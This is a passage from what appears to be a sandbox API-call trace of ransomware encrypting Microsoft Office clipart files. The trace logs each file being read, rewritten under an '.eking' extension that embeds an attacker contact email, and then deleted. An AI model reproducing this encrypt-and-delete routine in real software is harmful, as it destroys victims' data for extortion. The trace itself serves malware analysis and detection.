Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.724] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.724] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0188.725] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x319e, lpOverlapped=0x0) returned 1 [0188.727] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x31a0, lpOverlapped=0x0) returned 1 [0188.729] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.731] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.731] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.731] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x319e, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x319e, lpOverlapped=0x0) returned 1 [0188.735] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.741] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.744] CloseHandle (hObject=0x1b8) returned 1 [0188.744] CloseHandle (hObject=0x1e8) returned 1 [0188.746] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0188.747] SetEvent (hEvent=0x174) returned 1 [0188.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.748] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3484) returned 1 [0188.748] CloseHandle (hObject=0x1e8) returned 1 [0188.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0188.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0188.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.749] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.749] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0188.751] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xd9c, lpOverlapped=0x0) returned 1 [0188.753] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xda0, lpOverlapped=0x0) returned 1 [0188.754] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.754] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.754] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.755] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xd9c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xd9c, lpOverlapped=0x0) returned 1 [0188.757] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.761] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.763] CloseHandle (hObject=0x1e8) returned 1 [0188.763] CloseHandle (hObject=0x1b8) returned 1 [0188.764] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0188.778] SetEvent (hEvent=0x174) returned 1 [0188.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.779] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3140) returned 1 [0188.779] CloseHandle (hObject=0x1b8) returned 1 [0188.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0188.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0188.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.780] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.780] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0188.780] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xc44, lpOverlapped=0x0) returned 1 [0188.783] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xc50, lpOverlapped=0x0) returned 1 [0188.784] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.786] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.786] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.786] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xc44, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xc44, lpOverlapped=0x0) returned 1 [0188.791] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.794] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.800] CloseHandle (hObject=0x1b8) returned 1 [0188.801] CloseHandle (hObject=0x1e8) returned 1 [0188.802] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0188.804] SetEvent (hEvent=0x174) returned 1 [0188.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.804] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=12482) returned 1 [0188.804] CloseHandle (hObject=0x1e8) returned 1 [0188.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0188.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0188.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.805] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.805] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0188.806] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x30c2, lpOverlapped=0x0) returned 1 [0188.809] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x30d0, lpOverlapped=0x0) returned 1 [0188.810] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.811] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.811] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.811] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x30c2, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x30c2, lpOverlapped=0x0) returned 1 [0188.814] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.818] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.822] CloseHandle (hObject=0x1e8) returned 1 [0188.822] CloseHandle (hObject=0x1b8) returned 1 [0188.823] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0188.825] SetEvent (hEvent=0x174) returned 1 [0188.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.825] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5253) returned 1 [0188.825] CloseHandle (hObject=0x1b8) returned 1 [0188.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0188.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0188.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.826] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.826] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0188.827] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1485, lpOverlapped=0x0) returned 1 [0188.829] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1490, lpOverlapped=0x0) returned 1 [0188.830] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.831] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.831] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.831] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1485, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1485, lpOverlapped=0x0) returned 1 [0188.833] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.837] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.839] CloseHandle (hObject=0x1b8) returned 1 [0188.840] CloseHandle (hObject=0x1e8) returned 1 [0188.840] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0188.842] SetEvent (hEvent=0x174) returned 1 [0188.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.844] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2596) returned 1 [0188.844] CloseHandle (hObject=0x1e8) returned 1 [0188.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0188.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0188.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.845] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.845] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0188.846] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xa24, lpOverlapped=0x0) returned 1 [0188.848] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xa30, lpOverlapped=0x0) returned 1 [0188.850] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.850] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.850] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.850] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xa24, lpOverlapped=0x0) returned 1 [0188.853] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.857] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.859] CloseHandle (hObject=0x1e8) returned 1 [0188.859] CloseHandle (hObject=0x1b8) returned 1 [0188.860] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0188.862] SetEvent (hEvent=0x174) returned 1 [0188.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.864] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10607) returned 1 [0188.864] CloseHandle (hObject=0x1b8) returned 1 [0188.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0188.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0188.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.865] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.865] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 